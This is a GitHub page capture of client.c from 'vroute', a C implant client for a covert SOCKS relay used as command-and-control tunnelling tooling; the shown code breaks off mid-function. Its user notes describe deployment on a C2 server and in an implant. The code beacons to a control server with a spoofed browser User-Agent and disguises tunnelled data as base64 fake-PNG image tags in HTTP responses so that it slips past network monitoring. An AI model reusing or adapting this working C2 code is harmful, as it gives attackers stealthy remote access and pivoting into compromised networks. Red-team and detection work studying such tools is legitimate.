-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathclient.c
2442 lines (1912 loc) · 63.7 KB
/
client.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
Repository: https://github.com/lockedbyte/vroute
-------------------------------- [ User notes ] --------------------------------
A brief message
===================
It is advised, if you are using proxychains as your SOCKS proxy client, to change
in /etc/proxychains.conf these values to the following:
tcp_read_time_out 150000
tcp_connect_time_out 80000
Also, no need to mention you need to point the SOCKS proxy address and port to the
one set up with this project.
Future additions
==================
- change encryption to the new OpenSSL encryption escheme using EVP
- allow second-order connections for nodes to increase remote accessibility within the network map
Compilation
===================
Simply:
$ make
Usage and environment setup
===============================
Server:
- Use libvroute_server.so on your C2 server
- Use vroutesrv command line tool
Client:
- Use libvroute_client.so from your implant
- Use vrouteclt command line tool (not recommended)
About HTTPS
===============
You will need a certificate for setting up the HTTPS version.
If you just want to test, you can simply:
$ openssl req -newkey rsa:2048 -nodes -keyout cert.pem -x509 -days 365 -out cert.pem
And then pass the path to cert.pem to the server initialization entrypoing
------------------------------- [ End User notes ] -------------------------------
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <time.h>
#include <sys/select.h>
#include <sys/types.h>
#include <sys/select.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <ctype.h>
#include <errno.h>
#include <openssl/bio.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <openssl/pem.h>
#include <openssl/x509.h>
#include <openssl/x509_vfy.h>
#include <openssl/aes.h>
#include <openssl/sha.h>
#include <openssl/evp.h>
#include "util.h"
#include "crypt.h"
#include "tp/base64.h"
#define VROUTE_VERSION "1.0.0"
#define CHALLENGE_DEFAULT_SIZE 64
#define OK_HTTP_RESPONSE "HTTP/1.1 200 OK"
#define DATA_PREFIX "<img src='data:image/jpeg;base64,"
#define DATA_SUFFIX "' />"
#define DEFAULT_HTTP_USER_AGENT "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36"
#define DEFAULT_HTTP_PATH "/index.html"
#define DUMMY_RESPONSE_PATTERN "<h1>blank page</h1>"
#define COMMAND_CHANNEL 0
#define RELAY_TIMEOUT 60
#define PNG_FAKE_HDR "\x89\x50\x4e\x47\x0d\x0a\x1a\x0a"
#define PNG_FAKE_HDR_SIZE 8
#define MAX_CONCURRENT_CHANNELS 4096
#define MAGIC_DUMMY_FD 0x1337
#define MIN_HANDSHAKE_SESS_ID 11111
#define MAX_HANDSHAKE_SESS_ID 60000
#define AES_IV_SIZE 16
#define MIN_IV_CHAR_RANGE 0x1
#define MAX_IV_CHAR_RANGE 0xff
#define MAX_KEY_SIZE 64
#define MAX_HOSTNAME_SIZE 255
#define DUMMY_RESPONSE_RECV -1337
#if DEBUG
#define VR_LOG(...) vr_log(__func__, __VA_ARGS__)
#define hexdump(tag, mem, size) __hexdump(__func__, tag, mem, size)
#define MAX_LOG_MESSAGE_SIZE 4096
#define LOG_PREFIX_STR "[VROUTE]"
#define UNLIMITED_OPPORTUNITIES 1
typedef enum {
UNKNOWN_LOG_LEVEL = 0,
LOG_WARN,
LOG_INFO,
LOG_DEBUG,
LOG_ERROR,
} log_level_t;
#else
#define VR_LOG(ll, fmt, ...) ((void)0)
#define hexdump(tag, mem, size) ((void)0)
#endif
typedef enum {
HTTPS_COM_PROTO = 0,
HTTP_COM_PROTO = 1,
TCP_COM_PROTO = 2
} proto_t;
typedef struct _channel_def {
int channel_id;
int sock;
char *host;
int port;
} channel_def;
typedef struct _cmd_def {
int cmd;
unsigned char value;
char *name;
} cmd_def;
typedef struct __attribute__((packed)) _tlv_header {
uint16_t client_id;
uint16_t channel_id;
uint16_t tlv_data_len;
} tlv_header;
typedef struct __attribute__((packed)) _s_cmd {
uint8_t cmd;
uint16_t channel_id;
} s_cmd;
typedef struct __attribute__((packed)) _conn_cmd {
uint8_t cmd;
uint16_t channel_id;
uint32_t ip_addr;
uint16_t port;
} conn_cmd;
typedef enum {
UNKNOWN_CMD = 0,
CHANNEL_OPEN_CMD,
CHANNEL_CLOSE_CMD,
RELAY_CLOSE_CMD,
PING_CMD,
FORWARD_CONNECTION_SUCCESS,
FORWARD_CONNECTION_FAILURE
} scmd_t;
cmd_def cmd_def_data[] = {
[UNKNOWN_CMD] = {
.cmd = UNKNOWN_CMD,
.value = 0,
.name = "UNKNOWN_CMD"
},
[CHANNEL_OPEN_CMD] = {
.cmd = CHANNEL_OPEN_CMD,
.value = 0xdd,
.name = "CHANNEL_OPEN_CMD"
},
[CHANNEL_CLOSE_CMD] = {
.cmd = CHANNEL_CLOSE_CMD,
.value = 0xcc,
.name = "CHANNEL_CLOSE_CMD"
},
[RELAY_CLOSE_CMD] = {
.cmd = RELAY_CLOSE_CMD,
.value = 0xc4,
.name = "RELAY_CLOSE_CMD"
},
[PING_CMD] = {
.cmd = PING_CMD,
.value = 0x70,
.name = "PING_CMD"
},
[FORWARD_CONNECTION_SUCCESS] = {
.cmd = FORWARD_CONNECTION_SUCCESS,
.value = 0xee,
.name = "FORWARD_CONNECTION_SUCCESS"
},
[FORWARD_CONNECTION_FAILURE] = {
.cmd = FORWARD_CONNECTION_FAILURE,
.value = 0xff,
.name = "FORWARD_CONNECTION_FAILURE"
}
};
int srv_down = 0;
long last_conn_time = 0;
char *_host = NULL;
int _port = 0;
int _ctl_sock = -1;
proto_t _proto = 0;
char *_key = NULL;
size_t _key_sz = 0;
SSL *_ssl = NULL;
SSL_CTX *_ctx = NULL;
X509 *_cert = NULL;
int client_id = 0;
int handshake_sess_id = 0;
pthread_mutex_t glb_conn_lock;
pthread_mutex_t main_loop_sock;
channel_def *global_conn = NULL;
int pending_ch_array[MAX_CONCURRENT_CHANNELS] = { 0 };
int cert_shown = 0;
#if DEBUG
void vr_log(const char *func_name, log_level_t log_level, const char *format_str, ...) {
char message[MAX_LOG_MESSAGE_SIZE + 1] = { 0 };
char *log_level_prefix = NULL;
if(!func_name || !format_str)
return;
if(log_level == UNKNOWN_LOG_LEVEL)
return;
if(log_level == LOG_WARN) {
log_level_prefix = "[WARN]";
} else if(log_level == LOG_INFO) {
log_level_prefix = "[INFO]";
} else if(log_level == LOG_DEBUG) {
log_level_prefix = "[DEBUG]";
} else if(log_level == LOG_ERROR) {
log_level_prefix = "[ERROR]";
} else
return;
va_list args;
va_start(args, format_str);
vsnprintf(message, MAX_LOG_MESSAGE_SIZE, format_str, args);
va_end(args);
printf("%s %s %s: %s\n", LOG_PREFIX_STR, log_level_prefix, func_name, message);
return;
}
#endif
void ping_worker(void) {
long curr_time = 0;
while(1) {
sleep(10);
curr_time = time(NULL);
if(srv_down) {
VR_LOG(LOG_INFO, "Server is down! Closing...");
pthread_exit(NULL);
return;
}
#if 0
if((curr_time - last_conn_time) > RELAY_TIMEOUT) {
VR_LOG(LOG_ERROR, "No response from server for %ld seconds Restarting relay...", RELAY_TIMEOUT);
pthread_exit(NULL);
}
#endif
}
pthread_exit(NULL);
return;
}
void __ping_worker(void) {
pthread_t th;
pthread_create(&th, NULL, (void *)ping_worker, NULL);
return;
}
void init_openssl(void) {
SSL_load_error_strings();
SSL_library_init();
ERR_load_BIO_strings();
OpenSSL_add_all_algorithms();
return;
}
void destroy_ssl(void) {
ERR_free_strings();
EVP_cleanup();
return;
}
int generate_handshake_sess_id(void) {
int sess_id = (rand() % (MAX_HANDSHAKE_SESS_ID - MIN_HANDSHAKE_SESS_ID + 1)) + MIN_HANDSHAKE_SESS_ID;
return sess_id;
}
void close_wrp(int sock) {
if(sock < 0 || sock == MAGIC_DUMMY_FD)
return;
close(sock);
return;
}
void shutdown_relay(void) {
srv_down = 1;
return;
}
ssize_t http_write_all(int sock, SSL *c_ssl, char **data, size_t *data_sz, int is_https) {
int r = 0;
size_t sent = 0;
char *ptr = NULL;
size_t sz = 0;
if(sock < 0 || !data || !data_sz)
return -1;
if(is_https && !c_ssl)
return -1;
if(data && data_sz) {
ptr = *data;
sz = *data_sz;
}
while(sent < sz) {
if(is_https)
r = SSL_write(c_ssl, ptr, sz - sent);
else
r = write(sock, ptr, sz - sent);
if(r < 0) {
VR_LOG(LOG_ERROR, "Error writing data...");
return -1;
}
sent += r;
}
return sent;
}
ssize_t http_read_all(int sock, SSL *c_ssl, char **data, size_t *data_sz, int is_https) {
int bytes_available = 0;
int bavailable_x = 0;
size_t sent = 0;
int r = 0;
int rx = 0;
char *ptr = NULL;
int sock_m = -1;
int tries = 0;
int max_tries = 20;
if(sock < 0 || !data || !data_sz)
return -1;
if(is_https && !c_ssl)
return -1;
*data = NULL;
*data_sz = 0;
sock_m = sock;
if(is_https) {
/*
s_rbio = SSL_get_rbio(c_ssl);
if(BIO_get_fd(s_rbio, &sock_m) < 0)
return -1;
*/
sock_m = SSL_get_fd(c_ssl);
if(sock_m < 0) {
VR_LOG(LOG_ERROR, "SSL_get_fd returned negative");
return -1;
}
} else {
sock_m = sock;
}
while(tries < max_tries) {
#if WINDOWS_OS
r = ioctlsocket(sock_m, FIONREAD, &bytes_available);
#else
r = ioctl(sock_m, FIONREAD, &bytes_available);
#endif
if(r < 0) {
VR_LOG(LOG_ERROR, "Error at ioctl() for FIONREAD");
return -1;
}
if(bytes_available < 0) {
*data = NULL;
*data_sz = 0;
return 0;
}
if(bytes_available == 0) {
VR_LOG(LOG_DEBUG, "No data received, giving a new opportunity (%d/%d)...", tries, max_tries);
} else {
break;
}
sleep(1);
tries++;
}
VR_LOG(LOG_DEBUG, "There are %ld bytes available", bytes_available);
ptr = calloc(bytes_available + 1, sizeof(char));
if(!ptr)
return -1;
sent = 0;
while(sent < bytes_available) {
if(is_https)
r = SSL_read(c_ssl, ptr, bytes_available - sent);
else
r = read(sock, ptr, bytes_available - sent);
if(r < 0) {
VR_LOG(LOG_ERROR, "Error receiving data");
return -1;
}
sent += r;
#if WINDOWS_OS
rx = ioctlsocket(sock_m, FIONREAD, &bavailable_x);
#else
rx = ioctl(sock_m, FIONREAD, &bavailable_x);
#endif
if(rx < 0) {
VR_LOG(LOG_ERROR, "Error at ioctl() for FIONREAD");
return -1;
}
if(bavailable_x <= 0)
break;
}
*data = ptr;
*data_sz = sent;
return sent;
}
void http_close(int sock, SSL *c_ssl, int is_https) {
if(is_https) {
if(c_ssl) {
SSL_free(c_ssl);
c_ssl = NULL;
}
if(_cert) {
X509_free(_cert);
_cert = NULL;
}
if(_ctx) {
SSL_CTX_free(_ctx);
_ctx = NULL;
}
}
if(sock != -1) {
close(sock);
sock = -1;
}
return;
}
int open_http_conn(char *host, int port, int is_https, SSL **c_ssl) {
SSL_CTX *ctx = NULL;
SSL *ssl = NULL;
X509 *cert = NULL;
X509_NAME *cert_name = NULL;
X509_NAME *issuer_name = NULL;
int sock = 0;
struct sockaddr_in srvaddr;
char *name = NULL;
if(!host || port == 0 || !c_ssl)
return -1;
*c_ssl = NULL;
if(is_https) {
if(SSL_library_init() < 0) {
VR_LOG(LOG_ERROR, "Error at SSL_library_init");
return -1;
}
if((ctx = SSL_CTX_new(TLS_client_method())) == NULL) {
VR_LOG(LOG_ERROR, "Error opening new SSL context");
return -1;
}
SSL_CTX_set_options(ctx, SSL_OP_NO_SSLv2);
ssl = SSL_new(ctx);
if(ssl == NULL) {
VR_LOG(LOG_ERROR, "Error at SSL_new");
return -1;
}
}
sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock < 0) {
VR_LOG(LOG_ERROR, "Error creating socket");
return -1;
}
bzero(&srvaddr, sizeof(srvaddr));
srvaddr.sin_family = AF_INET;
srvaddr.sin_addr.s_addr = inet_addr(host);
srvaddr.sin_port = htons(port);
if(connect(sock, (struct sockaddr *)&srvaddr, sizeof(srvaddr)) != 0) {
if(sock != -1)
close(sock);
VR_LOG(LOG_ERROR, "Error connecting to control server at: %s:%d", host, port);
return -1;
}
if(is_https) {
SSL_set_fd(ssl, sock);
if(SSL_connect(ssl) != 1) {
VR_LOG(LOG_ERROR, "Error trying to open SSL connection");
return -1;
}
cert = SSL_get_peer_certificate(ssl);
if(cert == NULL) {
VR_LOG(LOG_ERROR, "Error getting peer certificate");
return -1;
}
cert_name = X509_NAME_new();
cert_name = X509_get_subject_name(cert);
issuer_name = X509_get_issuer_name(cert);
if(!cert_shown) {
name = X509_NAME_oneline(cert_name, 0, 0);
VR_LOG(LOG_INFO, "Cert subject: %s", name);
if(name) {
free(name);
name = NULL;
}
name = X509_NAME_oneline(issuer_name, 0, 0);
VR_LOG(LOG_INFO, "Cert Issuer: %s", name);
if(name) {
free(name);
name = NULL;
}
cert_shown = 1;
}
_ssl = ssl;
_ctx = ctx;
_cert = cert;
*c_ssl = ssl;
}
return sock;
}
ssize_t send_http_data(char *host, int port, char **data, size_t *data_size, int is_https) {
ssize_t r = 0;
char *http_req = NULL;
int http_sock = -1;
char *http_str = NULL;
char *port_str = NULL;
size_t http_req_sz = 0;
SSL *c_ssl = NULL;
size_t b64_out_sz = 0;
char *data_x = NULL;
size_t data_sz_x = 0;
char *dummy_rsp = NULL;
size_t dummy_sz = 0;
char *enc_id = NULL;
size_t enc_id_sz = 0;
char *b64_id = NULL;
size_t b64_id_sz = 0;
uint32_t i_id = 0;
if(!host || port <= 0 || !data || !data_size)
return -1;
data_x = *data;
data_sz_x = *data_size;
http_str = (char *)base64_encode((unsigned char *)data_x, data_sz_x, &b64_out_sz);
if(http_str == NULL) {
VR_LOG(LOG_ERROR, "Error when trying to do base64 encoding");
return -1;
}
if(http_str[strlen(http_str) - 1] == 0x0a)
http_str[strlen(http_str) - 1] = '\0';
asprintf(&port_str, ":%d", port);
if(handshake_sess_id != 0 && client_id == 0) {
i_id = handshake_sess_id;
} else {
i_id = client_id;
}
VR_LOG(LOG_DEBUG, "i_id: %d", i_id);
enc_id = encrypt_data((char *)&i_id, sizeof(uint32_t), _key, _key_sz, &enc_id_sz);
if(!enc_id || enc_id_sz == 0) {
VR_LOG(LOG_ERROR, "Error when trying to encrypt ID");
return -1;
}
b64_id = (char *)base64_encode((unsigned char *)enc_id, enc_id_sz, &b64_id_sz);
if(b64_id == NULL || b64_id_sz == 0) {
if(enc_id) {
free(enc_id);
enc_id = NULL;
}
VR_LOG(LOG_ERROR, "Error when trying to do base64 encoding");
return -1;
}
if(b64_id[strlen(b64_id) - 1] == 0x0a)
b64_id[strlen(b64_id) - 1] = '\0';
if(handshake_sess_id != 0 && client_id == 0) {
asprintf(&http_req, "POST %s?h=%s HTTP/1.1\r\n"
"Host: %s%s\r\n"
"User-Agent: %s\r\n"
"Accept: */*\r\n"
"Content-Length: %lu\r\n"
"\r\ntoken=%s; expire=0;", DEFAULT_HTTP_PATH, b64_id, host, (port == 80) ? "" : port_str,
DEFAULT_HTTP_USER_AGENT, strlen(http_str) + 11, http_str);
} else {
asprintf(&http_req, "POST %s?cid=%s HTTP/1.1\r\n"
"Host: %s%s\r\n"
"User-Agent: %s\r\n"
"Accept: */*\r\n"
"Content-Length: %lu\r\n"
"\r\ntoken=%s; expire=0;", DEFAULT_HTTP_PATH, b64_id, host, (port == 80) ? "" : port_str,
DEFAULT_HTTP_USER_AGENT, strlen(http_str) + 11, http_str);
}
if(b64_id) {
free(b64_id);
b64_id = NULL;
}
if(enc_id) {
free(enc_id);
enc_id = NULL;
}
if(port_str) {
free(port_str);
port_str = NULL;
}
http_sock = open_http_conn(host, port, is_https, &c_ssl);
if(http_sock < 0) {
VR_LOG(LOG_ERROR, "Error when trying to open an HTTP connection");
return -1;
}
hexdump("HTTP request", http_req, strlen(http_req));
http_req_sz = strlen(http_req);
r = http_write_all(http_sock, c_ssl, &http_req, &http_req_sz, is_https);
if(r < 0) {
if(http_sock != -1)
http_close(http_sock, c_ssl, is_https);
VR_LOG(LOG_ERROR, "Error when trying to send HTTP request");
return -1;
}
sleep(1);
r = http_read_all(http_sock, c_ssl, &dummy_rsp, &dummy_sz, is_https);
if(r < 0) {
if(http_sock != -1)
http_close(http_sock, c_ssl, is_https);
VR_LOG(LOG_ERROR, "Error when trying to receive HTTP response");
return -1;
}
hexdump("HTTP response", dummy_rsp, dummy_sz);
if(dummy_sz < strlen(OK_HTTP_RESPONSE) || memcmp(dummy_rsp, OK_HTTP_RESPONSE, strlen(OK_HTTP_RESPONSE)) != 0) {
if(http_sock != -1)
http_close(http_sock, c_ssl, is_https);
VR_LOG(LOG_ERROR, "Received a non-OK HTTP response");
return -1;
}
if(dummy_rsp) {
free(dummy_rsp);
dummy_rsp = NULL;
}
if(http_sock != -1)
http_close(http_sock, c_ssl, is_https);
if(http_req) {
free(http_req);
http_req = NULL;
}
return data_sz_x;
}
ssize_t recv_http_data(char *host, int port, char **data, size_t *data_size, int is_https) {
ssize_t r = 0;
int http_sock = -1;
char *data_x = NULL;
size_t data_sz_x = 0;
char *tmp_p = NULL;
char *data_s = NULL;
SSL *c_ssl = NULL;
char *b64_decoded = NULL;
size_t b64_decoded_sz = 0;
char *http_req = NULL;
char *port_str = NULL;
size_t http_req_sz = 0;
char *f_data = NULL;
size_t f_data_sz = 0;
char *enc_id = NULL;
size_t enc_id_sz = 0;
char *b64_id = NULL;
size_t b64_id_sz = 0;
uint32_t i_id = 0;
if(!host || port <= 0 || !data || !data_size)
return -1;
*data = NULL;
*data_size = 0;
http_sock = open_http_conn(host, port, is_https, &c_ssl);
if(http_sock < 0) {
VR_LOG(LOG_ERROR, "Error when trying to open an HTTP connection");
return -1;
}
asprintf(&port_str, ":%d", port);
if(handshake_sess_id != 0 && client_id == 0) {
i_id = handshake_sess_id;
} else {
i_id = client_id;
}
VR_LOG(LOG_DEBUG, "i_id: %d", i_id);
enc_id = encrypt_data((char *)&i_id, sizeof(uint32_t), _key, _key_sz, &enc_id_sz);
if(!enc_id || enc_id_sz == 0) {
VR_LOG(LOG_ERROR, "Error when trying to encrypt ID");
return -1;
}
b64_id = (char *)base64_encode((unsigned char *)enc_id, enc_id_sz, &b64_id_sz);
if(b64_id == NULL || b64_id_sz == 0) {
if(enc_id) {
free(enc_id);
enc_id = NULL;
}
VR_LOG(LOG_ERROR, "Error when trying to do base64 encoding");
return -1;
}
if(b64_id[strlen(b64_id) - 1] == 0x0a)
b64_id[strlen(b64_id) - 1] = '\0';
if(handshake_sess_id != 0 && client_id == 0) {
asprintf(&http_req, "GET %s?h=%s HTTP/1.1\r\n"
"Host: %s%s\r\n"
"User-Agent: %s\r\n"
"Accept: */*\r\n"
"Content-Length: 0\r\n"
"\r\n", DEFAULT_HTTP_PATH, b64_id, host, (port == 80) ? "" : port_str,
DEFAULT_HTTP_USER_AGENT);
} else {
asprintf(&http_req, "GET %s?cid=%s HTTP/1.1\r\n"
"Host: %s%s\r\n"
"User-Agent: %s\r\n"
"Accept: */*\r\n"
"Content-Length: 0\r\n"
"\r\n", DEFAULT_HTTP_PATH, b64_id, host, (port == 80) ? "" : port_str,
DEFAULT_HTTP_USER_AGENT);
}
http_req_sz = strlen(http_req);
r = http_write_all(http_sock, c_ssl, &http_req, &http_req_sz, is_https);
if(r < 0) {
if(http_sock != -1)
http_close(http_sock, c_ssl, is_https);
VR_LOG(LOG_ERROR, "Error when trying to send HTTP request");
return -1;
}
sleep(1);
if(b64_id) {
free(b64_id);
b64_id = NULL;
}
if(enc_id) {
free(enc_id);
enc_id = NULL;
}
if(http_req) {
free(http_req);
http_req = NULL;
}
r = http_read_all(http_sock, c_ssl, &data_x, &data_sz_x, is_https);
if(r < 0) {
if(http_sock != -1)
http_close(http_sock, c_ssl, is_https);
VR_LOG(LOG_ERROR, "Error when trying to receive HTTP response");
return -1;
}
if(http_sock != -1)
http_close(http_sock, c_ssl, is_https);
if(data_sz_x == 0) {
*data = NULL;
*data_size = 0;
if(data_x) {
free(data_x);
data_x = NULL;
}
VR_LOG(LOG_ERROR, "Data in HTTP response is 0");
return 0;
}
tmp_p = strstr(data_x, DUMMY_RESPONSE_PATTERN);
if(tmp_p) {
if(data_x) {
free(data_x);
data_x = NULL;
}
return DUMMY_RESPONSE_RECV;
}
tmp_p = strstr(data_x, DATA_PREFIX);
if(!tmp_p) {
if(data_x) {
free(data_x);
data_x = NULL;
}
VR_LOG(LOG_ERROR, "Prefix was not found in HTTP response");
return -1;
}
tmp_p += strlen(DATA_PREFIX);
data_s = tmp_p;
tmp_p = strstr(data_s, DATA_SUFFIX);
if(!tmp_p) {
if(data_x) {
free(data_x);
data_x = NULL;
}
VR_LOG(LOG_ERROR, "Suffix was not found in HTTP response");
return -1;
}
*tmp_p = '\0';
if(strlen(data_s) == 0) {
if(data_x) {
free(data_x);
data_x = NULL;
}
if(data && data_size) {
*data = NULL;
*data_size = 0;
}
VR_LOG(LOG_ERROR, "No data between HTTP prefix-suffix scheme");
return 0;
}
if(data_s[strlen(data_s) - 1] == 0x0a)
data_s[strlen(data_s) - 1] = '\0';
hexdump("base64 encoded data", data_s, strlen(data_s));
b64_decoded = (char *)base64_decode((unsigned char *)data_s, strlen(data_s), &b64_decoded_sz);
if(!b64_decoded) {
if(data_x) {
free(data_x);
data_x = NULL;
}
VR_LOG(LOG_ERROR, "Error when doing base64 decoding");
return -1;
}
if(b64_decoded_sz < PNG_FAKE_HDR_SIZE) {
if(data_x) {
free(data_x);
data_x = NULL;
}
if(b64_decoded) {
free(b64_decoded);
b64_decoded = NULL;
}
VR_LOG(LOG_ERROR, "Base64 decoded data is less than PNG_FAKE_HDR_SIZE (%d)", PNG_FAKE_HDR_SIZE);
return -1;
}
if(memcmp(b64_decoded, PNG_FAKE_HDR, PNG_FAKE_HDR_SIZE) != 0) {
if(data_x) {
free(data_x);
data_x = NULL;
}
if(b64_decoded) {
free(b64_decoded);
b64_decoded = NULL;
}
VR_LOG(LOG_ERROR, "Base64 decoded data does not have fake PNG header");
return -1;
}
if(data_x) {
free(data_x);
data_x = NULL;
}
f_data_sz = (b64_decoded_sz - PNG_FAKE_HDR_SIZE);